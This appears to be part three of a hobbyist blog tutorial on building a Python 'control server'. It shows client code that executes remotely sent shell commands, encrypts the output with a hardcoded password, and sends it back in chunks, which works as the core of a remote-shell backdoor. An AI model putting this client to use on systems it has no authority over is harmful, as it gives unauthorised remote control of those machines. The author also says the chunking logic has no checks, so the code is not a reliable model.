Python Control Server – Traffic Encryption (3 of 8)

[ Part 1Part 2Part 3Part 4 – Part 5 – Part 6 – Part 7 – Part 8 ]

What’s going on guys?

Welcome to part three of the Python control server series.

In part one we created our simple server and client with about 20 lines of code each (Python 3). Then in part two, we’ve added basic AES encryption to our traffic using pyAesCrypt.

Given the nature of encryption using pyAesCrypt, we we’re unable to receive any data on the server over 1024 bytes with encryption. The main reason for this is that length needs to be passed for the decryption method.

In this part we will be fixing this issue, so let’s get with it.

Traffic Encryption

What exactly is the issue we have here? Why is less than 1024 bytes ok?

Both in our server and client we are sending 1024 bytes at a time. This means that whenever we send a message containing less than 1024 bytes, we won’t run into any issues.

Now considering we have to pass a length argument for decryption, if we send a message that is 1500 bytes, the server will receive the first 1024 bytes and attempt to decrypt it – resulting in an error.

This is where we have a few different options: receive all the encrypted data and then decrypt it all at once; or, receive smaller chunks of data and decrypt on-demand. Both options have their merits, I decided this latter one would be easier to program for a encryption noob like me. 🙂

I love to learn about this stuff so will definitely post in a forum with my code (shown below) to get some more opinions about it. If we have any encryption ninjas reading out there would love your opinion as well.

Dive Into The Code

Let’s take a look at out encrypt and decrypt functions first:

# Lets set buffer size and password
bufferSize = 1024
password = 'wearebackboys'

# Encrypt data
def encryptData(msg):
	pbdata = str.encode(msg)
	fIn = io.BytesIO(pbdata)
	fCiph = io.BytesIO()
	pyAesCrypt.encryptStream(fIn, fCiph, password, bufferSize)
	# Data to send (bytes-like)
	dataToSend = fCiph.getvalue()
	return dataToSend

# Decrypt data
def decryptData(msg):
	# Initializing ciphertext binary stream
	fullData = b''
	fCiph = io.BytesIO()
	fDec = io.BytesIO()
	# Convert to bytes, get length and seek to beginning
	fCiph = io.BytesIO(msg)
	ctlen = len(fCiph.getvalue())
	fCiph.seek(0)
	# Decrypt stream
	pyAesCrypt.decryptStream(fCiph, fDec, password, bufferSize, ctlen)
	decrypted = str(fDec.getvalue().decode())
	return decrypted

It’s all simple stuff and I’ve explained it in the previous part and video, I’m just posting it here so its easy to reference it if needed.

Now lets take a look at the main loop of the client code; where we divide the data into chunks and send it to the server accordingly:

while 1:
	data = s.recv(1024)
	decrypted = decryptData(data)
	print(decrypted)
	
	if decrypted == "quit":
		print('\nQuitting...')
		break
	elif decrypted[:2] == "cd":
		try: os.chdir(decrypted[3:])
		except:	pass
		s.sendall(encryptData('EOFX'))
	else:
		proc = subprocess.Popen(decrypted, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
		stdoutput = proc.stdout.read() + proc.stderr.read()
		sendmsg = str(stdoutput.decode())
		# Check if command output requires breaking into pieces
		limitBytes = 675
		if sys.getsizeof(sendmsg) >= limitBytes:
			# Lets figure out how many messages to send
			calcmsg = int(round(sys.getsizeof(sendmsg) / limitBytes))
			# Get length of message to send
			sendlen = int(round(len(sendmsg) / calcmsg))
			# If we get a bad calcmsg because of rounding, add +1 and correct it here
			while sendlen > limitBytes:
				calcmsg += 1
				sendlen = int(round(len(sendmsg) / calcmsg))
			fixdlen = sendlen
			charpos = 0
			x = 1
			while x <= calcmsg:
				tosendmsg = sendmsg[charpos:sendlen]
				if x == calcmsg: 
					sendlen = len(sendmsg)
					tosendmsg = sendmsg[charpos:sendlen]
				else:
					sendlen += fixdlen
					charpos += fixdlen
				s.sendall(encryptData(tosendmsg))
				x += 1
			s.sendall(encryptData('EOFX'))
		else:
			s.sendall(encryptData(sendmsg))
			s.sendall(encryptData('EOFX'))
# Loop ends here
s.close()

The specific code in question starts at the limitBytes variable, which is the maximum amount of data to send at a time.

We start off by dividing the total amount of bytes by that limit variable. This results in the number of chunks of data to send to the server. Then we work on determining the size of each specific chunk of data (sendlen variable).

If somehow the size of each chunk is larger than the limit set, we’ll add one more chunk and repeat this process until we have small enough pieces.

Now we’re off to the main loop of sending these chunks of data. Here we use the following syntax to get the specific chunk of data:

complete_message[beginning:end]

Then we’re constantly increasing both the beginning and end by the size of each chunk we defined previously and sending over the data.

Once we send the last chunk, we also send the ‘EOFX’ delimiter. That’s it.

I’m kinda embarrassed by this code to be honest. From my testing, it works. However, it’s not elegant, there are no checks in place and it will face issues if using it to send files that are several megabytes.

Hopefully at some point we can attract some ninja to fix it up for us. 🙂

Download Code | Debug Code

There are two downloads available this time: one for the clean executing scripts and another which includes debug text on the client and server.

Some of the debug text includes the amount of bytes received on the server and on the client we get to see each chunk being sent along with the iterations and respective message numbers – useful for programming.

That’s it for today. I might take a break from this series for a few days and wait for any responses on forums about this code in question.

I will be working in the other parallel series going here on the blog!

See you next time.

Share: